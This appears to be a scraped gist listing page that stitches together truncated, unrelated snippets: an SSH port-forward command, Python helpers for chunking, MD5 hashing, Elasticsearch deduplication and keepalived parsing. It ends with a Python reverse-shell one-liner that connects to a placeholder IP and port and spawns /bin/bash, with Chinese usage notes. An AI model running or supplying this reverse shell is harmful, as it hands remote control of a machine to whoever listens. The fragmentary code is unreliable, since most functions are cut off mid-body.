ssh REMOTE_SERVER -fNL local_socket:host:port
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def cache(iterable, count: int): | |
""" | |
range(10), count=3 -> [0,1,2],[3,4,5],[6,7,8],[9] | |
""" | |
assert(count > 0) | |
saved = [] | |
index = 0 | |
for item in iterable: | |
if index < count: | |
saved.append(item) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3.6 | |
# A description and analysis of this code can be found at | |
# https://alexmarquardt.com/2018/07/23/deduplicating-documents-in-elasticsearch/ | |
from argparse import ArgumentParser | |
import hashlib | |
from elasticsearch import Elasticsearch | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from hashlib import md5 | |
from functools import partial | |
def calc_md5(some_file): | |
mymd5 = md5() | |
try: | |
with open(some_file, 'rb') as f: | |
data = iter(partial(f.read, 8192), b'') | |
for d in data: | |
mymd5.update(d) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import re | |
def _get_keepalive_vip(conf='/etc/keepalived/keepalived.conf'): | |
result = [] | |
try: | |
with open(conf) as f: | |
pat = re.compile(r'virtual_ipaddress(?:\s|\t\|\n)*\{(.*?)\}', re.DOTALL) | |
keepalive = f.read() | |
match = pat.findall(keepalive) | |
for d in match: |
python -c "import socket,pty,os;s=socket.socket(2,1); s.connect(('IP',PORT)); fd = s.fileno();os.dup2(fd,0); os.dup2(fd,1); os.dup2(fd,2); pty.spawn('/bin/bash')"
- ip替换成源主机ip
- port是源主机监听端口
- 使用exit退出shell,不要使用
- 通过stty -echo intr ^F修改终端配置